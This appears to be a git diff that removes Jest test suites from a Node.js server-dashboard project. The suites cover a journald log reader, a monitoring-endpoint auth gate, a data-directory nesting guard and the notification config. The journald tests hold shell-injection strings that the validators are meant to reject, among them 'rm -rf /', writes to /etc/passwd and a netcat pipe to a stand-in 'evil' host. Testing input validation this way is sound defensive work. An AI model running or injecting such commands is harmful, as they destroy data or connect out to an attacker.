}
|
|
||||||
|
|
||||||
// Factory for an `exec` function that returns the given fake child.
|
|
||||||
function fakeExec(child) {
|
|
||||||
return jest.fn().mockReturnValue(child);
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('journald-reader', () => {
|
|
||||||
describe('assertUnitAllowed', () => {
|
|
||||||
const { assertUnitAllowed } = require(MODULE_PATH);
|
|
||||||
|
|
||||||
test('accepts allow-listed bare names', () => {
|
|
||||||
expect(assertUnitAllowed('caddy')).toBe('caddy');
|
|
||||||
expect(assertUnitAllowed('docker')).toBe('docker');
|
|
||||||
expect(assertUnitAllowed('dashcaddy-api')).toBe('dashcaddy-api');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('strips .service suffix', () => {
|
|
||||||
expect(assertUnitAllowed('caddy.service')).toBe('caddy');
|
|
||||||
expect(assertUnitAllowed('docker.service')).toBe('docker');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects units not on the allow-list', () => {
|
|
||||||
expect(() => assertUnitAllowed('sshd')).toThrow(/not in allow-list/);
|
|
||||||
expect(() => assertUnitAllowed('nginx')).toThrow(/not in allow-list/);
|
|
||||||
expect(() => assertUnitAllowed('root')).toThrow(/not in allow-list/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects shell metacharacters and path traversal', () => {
|
|
||||||
expect(() => assertUnitAllowed('caddy; rm -rf /')).toThrow(/invalid characters/);
|
|
||||||
expect(() => assertUnitAllowed('caddy && touch /tmp/pwn')).toThrow(/invalid characters/);
|
|
||||||
expect(() => assertUnitAllowed('caddy|tee /etc/passwd')).toThrow(/invalid characters/);
|
|
||||||
expect(() => assertUnitAllowed('../etc/passwd')).toThrow(/invalid characters/);
|
|
||||||
expect(() => assertUnitAllowed('caddy\nfoo')).toThrow(/invalid characters/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects empty / non-string', () => {
|
|
||||||
expect(() => assertUnitAllowed('')).toThrow(/unit is required/);
|
|
||||||
expect(() => assertUnitAllowed(null)).toThrow(/unit is required/);
|
|
||||||
expect(() => assertUnitAllowed(undefined)).toThrow(/unit is required/);
|
|
||||||
expect(() => assertUnitAllowed(42)).toThrow(/unit is required/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('throws ValidationError specifically (route layer keys on .name)', () => {
|
|
||||||
try { assertUnitAllowed('nginx'); }
|
|
||||||
catch (e) { expect(e.name).toBe('ValidationError'); }
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('parseTail', () => {
|
|
||||||
const { parseTail, MAX_TAIL_LINES } = require(MODULE_PATH);
|
|
||||||
|
|
||||||
test('returns fallback on undefined', () => {
|
|
||||||
expect(parseTail(undefined)).toBe(200);
|
|
||||||
expect(parseTail(undefined, 50)).toBe(50);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('clamps to MAX_TAIL_LINES', () => {
|
|
||||||
expect(parseTail('999999999999')).toBe(MAX_TAIL_LINES);
|
|
||||||
expect(parseTail(999999999999)).toBe(MAX_TAIL_LINES);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-positive and non-integer', () => {
|
|
||||||
expect(() => parseTail('0')).toThrow(/positive integer/);
|
|
||||||
expect(() => parseTail('-5')).toThrow(/positive integer/);
|
|
||||||
expect(() => parseTail('abc')).toThrow(/positive integer/);
|
|
||||||
expect(() => parseTail('1.5')).toThrow(/positive integer/);
|
|
||||||
expect(() => parseTail(NaN)).toThrow(/positive integer/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts valid integers', () => {
|
|
||||||
expect(parseTail('1')).toBe(1);
|
|
||||||
expect(parseTail('500')).toBe(500);
|
|
||||||
expect(parseTail(200)).toBe(200);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('parseTimestamp', () => {
|
|
||||||
const { parseTimestamp } = require(MODULE_PATH);
|
|
||||||
|
|
||||||
test('returns null on undefined/empty', () => {
|
|
||||||
expect(parseTimestamp(undefined, 'since')).toBeNull();
|
|
||||||
expect(parseTimestamp('', 'since')).toBeNull();
|
|
||||||
expect(parseTimestamp(null, 'since')).toBeNull();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('parses ISO 8601 timestamps', () => {
|
|
||||||
const out = parseTimestamp('2026-08-18T07:00:00Z', 'since');
|
|
||||||
expect(out).toBe('2026-08-18T07:00:00.000Z');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('parses ISO date-only', () => {
|
|
||||||
const out = parseTimestamp('2026-08-18', 'since');
|
|
||||||
expect(out).toMatch(/^2026-08-18/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('parses unix epoch in seconds and ms', () => {
|
|
||||||
// Use a known epoch so the test isn't sensitive to "now". The
|
|
||||||
// expected ISO output is computed at runtime so this stays correct.
|
|
||||||
const epochSec = 1787038846; // 2026-08-18T07:00:46Z
|
|
||||||
const expected = new Date(epochSec * 1000).toISOString();
|
|
||||||
expect(parseTimestamp(String(epochSec), 'since')).toBe(expected);
|
|
||||||
expect(parseTimestamp(String(epochSec * 1000), 'since')).toBe(expected);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('passes through journalctl relative syntax', () => {
|
|
||||||
expect(parseTimestamp('30 min ago', 'since')).toBe('30 min ago');
|
|
||||||
expect(parseTimestamp('today', 'until')).toBe('today');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects shell metacharacters in relative syntax', () => {
|
|
||||||
expect(() => parseTimestamp('30 min ago; touch /tmp/pwn', 'since')).toThrow(/forbidden/);
|
|
||||||
expect(() => parseTimestamp('today && rm -rf /', 'until')).toThrow(/forbidden/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects strings >1024 chars', () => {
|
|
||||||
const huge = 'a'.repeat(1025);
|
|
||||||
expect(() => parseTimestamp(huge, 'since')).toThrow(/forbidden/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects invalid ISO', () => {
|
|
||||||
// 'not-a-date' doesn't match the ISO_PATTERN and isn't numeric or
|
|
||||||
// safe relative-syntax — falls through to the relative branch but
|
|
||||||
// doesn't contain forbidden chars either, so it would pass through
|
|
||||||
// to journalctl. Use a string with shell metacharacters instead
|
|
||||||
// to prove the path actually rejects.
|
|
||||||
expect(() => parseTimestamp('yesterday | nc evil 1234', 'since')).toThrow();
|
|
||||||
// Numbers that overflow Date.parse
|
|
||||||
expect(() => parseTimestamp('99999999999999999999', 'since')).toThrow();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('buildArgv', () => {
|
|
||||||
const { buildArgv } = require(MODULE_PATH);
|
|
||||||
|
|
||||||
test('always emits --directory + unit + --no-pager', () => {
|
|
||||||
const argv = buildArgv({ unit: 'caddy', tail: 100 });
|
|
||||||
expect(argv).toContain('--directory');
|
|
||||||
expect(argv[argv.indexOf('--directory') + 1]).toBe('/var/log/journal');
|
|
||||||
expect(argv).toContain('--no-pager');
|
|
||||||
expect(argv).toContain('-u');
|
|
||||||
expect(argv[argv.indexOf('-u') + 1]).toBe('caddy');
|
|
||||||
expect(argv).not.toContain('--follow');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('follow flag is set when requested', () => {
|
|
||||||
const argv = buildArgv({ unit: 'caddy', follow: true });
|
|
||||||
expect(argv).toContain('--follow');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('emits -n <tail> for numeric tail', () => {
|
|
||||||
const argv = buildArgv({ unit: 'caddy', tail: 500 });
|
|
||||||
const idx = argv.indexOf('-n');
|
|
||||||
expect(idx).toBeGreaterThan(-1);
|
|
||||||
expect(argv[idx + 1]).toBe('500');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('emits --since/--until/search when provided', () => {
|
|
||||||
const argv = buildArgv({
|
|
||||||
unit: 'caddy', tail: 100,
|
|
||||||
since: '2026-08-18T00:00:00Z',
|
|
||||||
until: '2026-08-18T23:59:59Z',
|
|
||||||
search: 'health',
|
|
||||||
});
|
|
||||||
expect(argv).toContain('--since');
|
|
||||||
expect(argv).toContain('--until');
|
|
||||||
expect(argv).toContain('-S');
|
|
||||||
expect(argv[argv.indexOf('-S') + 1]).toBe('health');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('emits argv as a flat string array (no shell)', () => {
|
|
||||||
const argv = buildArgv({ unit: 'caddy', tail: 1 });
|
|
||||||
expect(argv.every(a => typeof a === 'string')).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('readEntries', () => {
|
|
||||||
const reader = require(MODULE_PATH);
|
|
||||||
|
|
||||||
test('parses short-output lines into structured entries', async () => {
|
|
||||||
const child = makeFakeChild({
|
|
||||||
stdout: [
|
|
||||||
'Aug 18 00:42:46 vmi3080415 caddy[3620580]: {"level":"info","msg":"hello"}',
|
|
||||||
'Aug 18 00:42:56 vmi3080415 caddy[3620580]: {"level":"warn","msg":"oops"}',
|
|
||||||
'',
|
|
||||||
].join('\n'),
|
|
||||||
});
|
|
||||||
const entries = await reader.readEntries({ unit: 'caddy', tail: 50 }, { exec: fakeExec(child) });
|
|
||||||
expect(entries).toHaveLength(2);
|
|
||||||
expect(entries[0].timestamp).toBe('Aug 18 00:42:46');
|
|
||||||
expect(entries[0].hostname).toBe('vmi3080415');
|
|
||||||
expect(entries[0].unit).toBe('caddy');
|
|
||||||
expect(entries[0].text).toBe('{"level":"info","msg":"hello"}');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('throws on ValidationError for bad unit', async () => {
|
|
||||||
await expect(reader.readEntries({ unit: 'nginx' })).rejects.toMatchObject({
|
|
||||||
name: 'ValidationError',
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
test('throws on ValidationError for bad tail', async () => {
|
|
||||||
await expect(reader.readEntries({ unit: 'caddy', tail: -1 })).rejects.toMatchObject({
|
|
||||||
name: 'ValidationError',
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
test('throws on ValidationError for shell-meta since', async () => {
|
|
||||||
await expect(reader.readEntries({ unit: 'caddy', since: 'yesterday; touch /tmp/pwn' }))
|
|
||||||
.rejects.toMatchObject({ name: 'ValidationError' });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('surfaces ENOENT as Error("journalctl unavailable")', async () => {
|
|
||||||
const child = makeFakeChild({ failOnSpawn: 'ENOENT' });
|
|
||||||
const err = await reader.readEntries({ unit: 'caddy' }, { exec: fakeExec(child) })
|
|
||||||
.then(() => null, e => e);
|
|
||||||
expect(err.message).toBe('journalctl unavailable');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('surfaces non-zero exit with stderr snippet', async () => {
|
|
||||||
const child = makeFakeChild({
|
|
||||||
stdout: '',
|
|
||||||
stderr: 'Failed to open directory: /var/log/journal/foo\n',
|
|
||||||
code: 1,
|
|
||||||
});
|
|
||||||
const err = await reader.readEntries({ unit: 'caddy' }, { exec: fakeExec(child) })
|
|
||||||
.then(() => null, e => e);
|
|
||||||
expect(err.message).toMatch(/exited 1/);
|
|
||||||
expect(err.message).toMatch(/Failed to open directory/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('clamps stdout at MAX_OUTPUT_BUFFER and rejects with overflow', async () => {
|
|
||||||
// Use smaller chunks: 800KB then another 800KB = 1.6MB > 2MB cap.
|
|
||||||
// Wait, that's <2MB. Need: total > 2MB. Use 1MB + 1.2MB.
|
|
||||||
const child = new EventEmitter();
|
|
||||||
child.stdout = new EventEmitter();
|
|
||||||
child.stderr = new EventEmitter();
|
|
||||||
child.kill = jest.fn();
|
|
||||||
const cap = require(MODULE_PATH).MAX_OUTPUT_BUFFER;
|
|
||||||
const first = Math.floor(cap * 0.4); // 40%
|
|
||||||
const second = Math.floor(cap * 0.7); // 70% more — total 110%
|
|
||||||
process.nextTick(() => {
|
|
||||||
child.stdout.emit('data', Buffer.alloc(first, 'x'));
|
|
||||||
child.stdout.emit('data', Buffer.alloc(second, 'x'));
|
|
||||||
// Don't emit exit — the overflow rejection doesn't depend on it.
|
|
||||||
// Kill the child eventually so Jest can exit cleanly.
|
|
||||||
setTimeout(() => child.emit('exit', null, 'SIGKILL'), 50);
|
|
||||||
});
|
|
||||||
const execSpy = jest.fn().mockReturnValue(child);
|
|
||||||
const err = await reader.readEntries({ unit: 'caddy' }, { exec: execSpy })
|
|
||||||
.then(() => null, e => e);
|
|
||||||
expect(err).not.toBeNull();
|
|
||||||
expect(err.message).toMatch(/exceeded/);
|
|
||||||
expect(child.kill).toHaveBeenCalledWith('SIGKILL');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('streamEntries', () => {
|
|
||||||
const reader = require(MODULE_PATH);
|
|
||||||
|
|
||||||
test('emits parsed data + completes on exit', async () => {
|
|
||||||
const child = new EventEmitter();
|
|
||||||
child.stdout = new EventEmitter();
|
|
||||||
child.stderr = new EventEmitter();
|
|
||||||
child.kill = jest.fn();
|
|
||||||
|
|
||||||
process.nextTick(() => {
|
|
||||||
child.stdout.emit('data', Buffer.from('Aug 18 00:42:46 host caddy[1]: hello\n'));
|
|
||||||
child.emit('exit', 0, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
const seen = [];
|
|
||||||
const execSpy = jest.fn().mockReturnValue(child);
|
|
||||||
reader.streamEntries({ unit: 'caddy' }, {
|
|
||||||
exec: execSpy,
|
|
||||||
onData: (e) => seen.push(e),
|
|
||||||
onError: () => {},
|
|
||||||
});
|
|
||||||
// Drain microtasks so the nextTick callback fires.
|
|
||||||
await new Promise((r) => setTimeout(r, 30));
|
|
||||||
expect(execSpy).toHaveBeenCalledTimes(1);
|
|
||||||
expect(seen.length).toBeGreaterThanOrEqual(1);
|
|
||||||
expect(seen[0].unit).toBe('caddy');
|
|
||||||
expect(seen[0].text).toBe('hello');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects bad unit before opening stream', () => {
|
|
||||||
expect(() => reader.streamEntries({ unit: 'nginx' }, { onError: () => {} }))
|
|
||||||
.toThrow(/not in allow-list/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,184 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-096 regression tests: the `monitoring: { public: false }` config option
|
|
||||||
* actually gates the monitoring endpoints.
|
|
||||||
*
|
|
||||||
* WHY THIS EXISTS:
|
|
||||||
* The middleware comment documented `monitoring: { public: false }` in
|
|
||||||
* config.json as the way to require auth for /api/v1/monitoring/stats and
|
|
||||||
* /api/v1/health-checks/status on internet-exposed deployments. But the
|
|
||||||
* option was dead three ways:
|
|
||||||
* 1. applyConfigFields() never copied `monitoring` out of raw config —
|
|
||||||
* siteConfig.monitoring stayed undefined forever.
|
|
||||||
* 2. `monitoring` was not in config-schema KNOWN_KEYS — saving it via
|
|
||||||
* POST /api/v1/config produced "Unknown config key" warnings (save
|
|
||||||
* still succeeded, so users saw a warning for a real feature).
|
|
||||||
* 3. MONITORING_PUBLIC was a const frozen at mount time AND re-required
|
|
||||||
* the config/site singleton — POST /config changes never took effect
|
|
||||||
* without a full process restart.
|
|
||||||
*
|
|
||||||
* Net effect: an operator who set the documented hardening option on an
|
|
||||||
* exposed box kept serving monitoring data unauthenticated, with only a
|
|
||||||
* cosmetic warning. Classic "config option that never worked".
|
|
||||||
*
|
|
||||||
* These tests pin the fixed behavior:
|
|
||||||
* - applyConfigFields copies monitoring through to siteConfig
|
|
||||||
* - isPublicRoute honors the gate LIVE (no restart)
|
|
||||||
* - env override still wins over config
|
|
||||||
* - schema accepts `monitoring` and validates its shape
|
|
||||||
* - typo keys setupCompleted/setupMode no longer silently allowlisted
|
|
||||||
*/
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
|
|
||||||
// The config/site module exports the siteConfig singleton + loaders.
|
|
||||||
const { siteConfig, loadSiteConfig } = require('../src/config/site');
|
|
||||||
const { validateConfig } = require('../src/utilities/config-schema');
|
|
||||||
|
|
||||||
// Build a minimal app mounting ONLY the middleware under test, with the
|
|
||||||
// same dependency shape app.js passes. This mirrors how configureMiddleware
|
|
||||||
// is used in production without booting the whole app (routes, docker, etc).
|
|
||||||
function buildMiddlewareApp(configOverrides = {}) {
|
|
||||||
const configureMiddleware = require('../src/utilities/middleware');
|
|
||||||
const app = express();
|
|
||||||
|
|
||||||
const siteConfigDep = {
|
|
||||||
tld: '.sami',
|
|
||||||
dashboardHost: 'status.sami',
|
|
||||||
...configOverrides
|
|
||||||
};
|
|
||||||
|
|
||||||
const deps = {
|
|
||||||
siteConfig: siteConfigDep,
|
|
||||||
totpConfig: { enabled: true }, // force the auth path to actually run
|
|
||||||
tailscaleConfig: { enabled: false, requireAuth: false },
|
|
||||||
metrics: { recordRequest: () => {} },
|
|
||||||
auditLogger: { middleware: () => (req, res, next) => next() },
|
|
||||||
authManager: {
|
|
||||||
verifyJWT: async () => null,
|
|
||||||
verifyAPIKey: async () => null
|
|
||||||
},
|
|
||||||
log: {
|
|
||||||
info: () => {}, warn: () => {}, error: () => {}, debug: () => {}
|
|
||||||
},
|
|
||||||
cryptoUtils: { loadOrCreateKey: () => 'test-key-not-a-real-secret' },
|
|
||||||
isValidContainerId: () => true,
|
|
||||||
isTailscaleIP: () => false,
|
|
||||||
getTailscaleStatus: async () => ({})
|
|
||||||
};
|
|
||||||
|
|
||||||
configureMiddleware(app, deps);
|
|
||||||
// Probe route AFTER middleware so it exercises the auth chain.
|
|
||||||
app.get('/api/v1/monitoring/stats', (req, res) => res.json({ ok: true }));
|
|
||||||
app.get('/api/v1/health-checks/status', (req, res) => res.json({ ok: true }));
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-096: monitoring.public config gate (middleware + site config)', () => {
|
|
||||||
const ENV_KEY = 'MONITORING_PUBLIC';
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
delete process.env[ENV_KEY];
|
|
||||||
// Reset the singleton to a clean default for other suites
|
|
||||||
siteConfig.monitoring = null;
|
|
||||||
});
|
|
||||||
|
|
||||||
test('applyConfigFields copies monitoring through to siteConfig (the original dead option)', () => {
|
|
||||||
loadSiteConfig(null, null); // no CONFIG_FILE arg → falls to catch, keeps defaults
|
|
||||||
siteConfig.monitoring = undefined;
|
|
||||||
// Directly exercise applyConfigFields via the public loader with a real temp file
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
const path = require('path');
|
|
||||||
const tmp = path.join(os.tmpdir(), `dc096-config-${Date.now()}.json`);
|
|
||||||
fs.writeFileSync(tmp, JSON.stringify({
|
|
||||||
tld: '.sami',
|
|
||||||
monitoring: { public: false }
|
|
||||||
}));
|
|
||||||
try {
|
|
||||||
const noopLog = { info: () => {}, warn: () => {}, error: () => {} };
|
|
||||||
loadSiteConfig(tmp, noopLog);
|
|
||||||
expect(siteConfig.monitoring).toEqual({ public: false });
|
|
||||||
} finally {
|
|
||||||
fs.unlinkSync(tmp);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('monitoring endpoints are PUBLIC by default (no monitoring config)', async () => {
|
|
||||||
const app = buildMiddlewareApp();
|
|
||||||
const res = await request(app).get('/api/v1/monitoring/stats');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.ok).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('monitoring: { public: false } in config → endpoints require auth (401) — LIVE, no restart', async () => {
|
|
||||||
const app = buildMiddlewareApp({ monitoring: { public: false } });
|
|
||||||
const res = await request(app).get('/api/v1/monitoring/stats');
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
const res2 = await request(app).get('/api/v1/health-checks/status');
|
|
||||||
expect(res2.status).toBe(401);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('gate reads config LIVE: flipping siteConfig.monitoring.public at runtime flips the gate', async () => {
|
|
||||||
const cfg = { monitoring: { public: true } };
|
|
||||||
const app = buildMiddlewareApp(cfg);
|
|
||||||
let res = await request(app).get('/api/v1/monitoring/stats');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
|
|
||||||
// Simulate POST /api/v1/config refreshing the singleton in place —
|
|
||||||
// the same object the middleware holds a reference to.
|
|
||||||
cfg.monitoring.public = false;
|
|
||||||
res = await request(app).get('/api/v1/monitoring/stats');
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('env override MONITORING_PUBLIC=true beats config monitoring.public=false', async () => {
|
|
||||||
process.env.MONITORING_PUBLIC = 'true';
|
|
||||||
const app = buildMiddlewareApp({ monitoring: { public: false } });
|
|
||||||
const res = await request(app).get('/api/v1/monitoring/stats');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('env override MONITORING_PUBLIC=false beats config monitoring.public=true', async () => {
|
|
||||||
process.env.MONITORING_PUBLIC = 'false';
|
|
||||||
const app = buildMiddlewareApp({ monitoring: { public: true } });
|
|
||||||
const res = await request(app).get('/api/v1/monitoring/stats');
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-monitoring public routes stay public when monitoring gate closes', async () => {
|
|
||||||
const app = buildMiddlewareApp({ monitoring: { public: false } });
|
|
||||||
// /api/v1/version is public unconditionally
|
|
||||||
const res = await request(app).get('/api/v1/version');
|
|
||||||
// No route mounted at that path in this harness → 404 from express,
|
|
||||||
// NOT 401 — proving the auth middleware let it through.
|
|
||||||
expect(res.status).toBe(404);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-096: config-schema accepts monitoring', () => {
|
|
||||||
test('monitoring: { public: boolean } passes with zero warnings', () => {
|
|
||||||
const result = validateConfig({ monitoring: { public: false } });
|
|
||||||
expect(result.warnings).toEqual([]);
|
|
||||||
expect(result.valid).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('monitoring.public non-boolean is an ERROR (not silent)', () => {
|
|
||||||
const result = validateConfig({ monitoring: { public: 'false' } });
|
|
||||||
expect(result.valid).toBe(false);
|
|
||||||
expect(result.errors).toContain('monitoring.public must be a boolean');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('monitoring non-object is an ERROR', () => {
|
|
||||||
const result = validateConfig({ monitoring: 'private' });
|
|
||||||
expect(result.valid).toBe(false);
|
|
||||||
expect(result.errors).toContain('monitoring must be an object');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('typo keys setupCompleted/setupMode now WARN (no longer silently allowlisted)', () => {
|
|
||||||
const result = validateConfig({ setupCompleted: true, setupMode: 'simple' });
|
|
||||||
expect(result.warnings).toEqual([
|
|
||||||
'Unknown config key "setupCompleted" — possible typo?',
|
|
||||||
'Unknown config key "setupMode" — possible typo?'
|
|
||||||
]);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,112 +0,0 @@
|
|||||||
/**
|
|
||||||
* Nesting-guard tests — DC-077 (data/data recursive duplicate cleanup)
|
|
||||||
*
|
|
||||||
* The guard runs at app startup. Pre-fix, `src/config/paths.js` did NOT
|
|
||||||
* re-export `dataDir`, so `paths.dataDir` resolved to `undefined`. The
|
|
||||||
* outer try/catch swallowed the resulting `TypeError [ERR_INVALID_ARG_TYPE]`
|
|
||||||
* and the entire guard became a silent no-op — every startup logged
|
|
||||||
* `[nesting-guard] Skipped: The "path" argument must be of type string.
|
|
||||||
* Received undefined`. Post-fix, paths.js exports `dataDir` and the guard
|
|
||||||
* falls back to platform-paths directly if `paths.dataDir` is missing.
|
|
||||||
*
|
|
||||||
* Tests use jest.isolateModules() for clean module-cache isolation.
|
|
||||||
* jest.doMock is intentionally avoided — it persists across tests in a
|
|
||||||
* describe and is the root cause of subtle flakes.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
describe('nesting-guard (DC-077)', () => {
|
|
||||||
const originalEnv = { ...process.env };
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
jest.restoreAllMocks();
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
process.env = { ...originalEnv };
|
|
||||||
jest.restoreAllMocks();
|
|
||||||
});
|
|
||||||
|
|
||||||
function makeTmpTree() {
|
|
||||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'nest-guard-'));
|
|
||||||
}
|
|
||||||
|
|
||||||
function writeJson(p, obj) {
|
|
||||||
fs.mkdirSync(path.dirname(p), { recursive: true });
|
|
||||||
fs.writeFileSync(p, JSON.stringify(obj));
|
|
||||||
}
|
|
||||||
|
|
||||||
it('removes a recursive data/data duplicate when present', () => {
|
|
||||||
const tmp = makeTmpTree();
|
|
||||||
writeJson(path.join(tmp, 'config.json'), { x: 1 });
|
|
||||||
writeJson(path.join(tmp, 'data', 'config.json'), { x: 1 });
|
|
||||||
writeJson(path.join(tmp, 'data', 'services.json'), []);
|
|
||||||
|
|
||||||
process.env.SERVICES_FILE = path.join(tmp, 'services.json');
|
|
||||||
process.env.CONFIG_FILE = path.join(tmp, 'config.json');
|
|
||||||
|
|
||||||
let cleanupLog = '';
|
|
||||||
let warnLog = '';
|
|
||||||
jest.isolateModules(() => {
|
|
||||||
const guard = require('../src/utilities/nesting-guard');
|
|
||||||
jest.spyOn(console, 'log').mockImplementation((m) => { cleanupLog += String(m) + '\n'; });
|
|
||||||
jest.spyOn(console, 'warn').mockImplementation((m) => { warnLog += String(m) + '\n'; });
|
|
||||||
guard();
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(fs.existsSync(path.join(tmp, 'data'))).toBe(false);
|
|
||||||
expect(fs.existsSync(path.join(tmp, 'config.json'))).toBe(true);
|
|
||||||
expect(cleanupLog).toMatch(/Removing recursive data nesting|Recursive nesting removed/);
|
|
||||||
expect(warnLog).not.toMatch(/Skipped/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('does nothing when no nested data/data directory exists', () => {
|
|
||||||
const tmp = makeTmpTree();
|
|
||||||
writeJson(path.join(tmp, 'config.json'), { x: 1 });
|
|
||||||
|
|
||||||
process.env.SERVICES_FILE = path.join(tmp, 'services.json');
|
|
||||||
process.env.CONFIG_FILE = path.join(tmp, 'config.json');
|
|
||||||
|
|
||||||
let cleanupLog = '';
|
|
||||||
let warnLog = '';
|
|
||||||
jest.isolateModules(() => {
|
|
||||||
const guard = require('../src/utilities/nesting-guard');
|
|
||||||
jest.spyOn(console, 'log').mockImplementation((m) => { cleanupLog += String(m) + '\n'; });
|
|
||||||
jest.spyOn(console, 'warn').mockImplementation((m) => { warnLog += String(m) + '\n'; });
|
|
||||||
guard();
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(fs.existsSync(path.join(tmp, 'config.json'))).toBe(true);
|
|
||||||
expect(warnLog).not.toMatch(/Skipped/);
|
|
||||||
expect(cleanupLog).not.toMatch(/Removing recursive data nesting/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('src/config/paths exports dataDir as a non-empty string', () => {
|
|
||||||
let dataDir;
|
|
||||||
jest.isolateModules(() => {
|
|
||||||
const paths = require('../src/config/paths');
|
|
||||||
dataDir = paths.dataDir;
|
|
||||||
});
|
|
||||||
expect(typeof dataDir).toBe('string');
|
|
||||||
expect(dataDir.length).toBeGreaterThan(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('src/config/paths.dataDir equals dirname(SERVICES_FILE) when SERVICES_FILE env is set', () => {
|
|
||||||
const tmp = makeTmpTree();
|
|
||||||
process.env.SERVICES_FILE = path.join(tmp, 'services.json');
|
|
||||||
process.env.CONFIG_FILE = path.join(tmp, 'config.json');
|
|
||||||
|
|
||||||
let servicesFile, dataDir;
|
|
||||||
jest.isolateModules(() => {
|
|
||||||
const paths = require('../src/config/paths');
|
|
||||||
servicesFile = paths.SERVICES_FILE;
|
|
||||||
dataDir = paths.dataDir;
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(dataDir).toBe(path.dirname(servicesFile));
|
|
||||||
expect(dataDir).toBe(tmp);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,168 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-097: notification-manager `_loadConfig` write-back.
|
|
||||||
* _canonicalizeLegacyKeys (DC-092) fixed legacy spellings in memory only;
|
|
||||||
* the on-disk notifications.json kept `email.user`/`email.pass`, camelCase
|
|
||||||
* event keys, and string `secure` until the next explicit UI save. These
|
|
||||||
* tests pin the new behavior: the canonical form is persisted right after
|
|
||||||
* load, the write is idempotent, and a failed write never blocks startup.
|
|
||||||
*/
|
|
||||||
|
|
||||||
jest.mock('fs', () => ({
|
|
||||||
existsSync: jest.fn().mockReturnValue(false),
|
|
||||||
readFileSync: jest.fn().mockReturnValue('{}'),
|
|
||||||
writeFileSync: jest.fn(),
|
|
||||||
mkdirSync: jest.fn(),
|
|
||||||
// DC-099 atomic write path (open tmp → write → fsync → close → rename).
|
|
||||||
openSync: jest.fn().mockReturnValue(3),
|
|
||||||
writeSync: jest.fn(),
|
|
||||||
fsyncSync: jest.fn(),
|
|
||||||
closeSync: jest.fn(),
|
|
||||||
renameSync: jest.fn(),
|
|
||||||
unlinkSync: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('nodemailer', () => ({
|
|
||||||
createTransport: jest.fn(() => ({
|
|
||||||
sendMail: jest.fn().mockResolvedValue({ messageId: 'mock' }),
|
|
||||||
})),
|
|
||||||
}));
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const NotificationManager = require('../src/managers/notification-manager');
|
|
||||||
|
|
||||||
const NOTIF_FILE = '/tmp/dc097-notif-test.json';
|
|
||||||
|
|
||||||
function makeCtx(log) {
|
|
||||||
return {
|
|
||||||
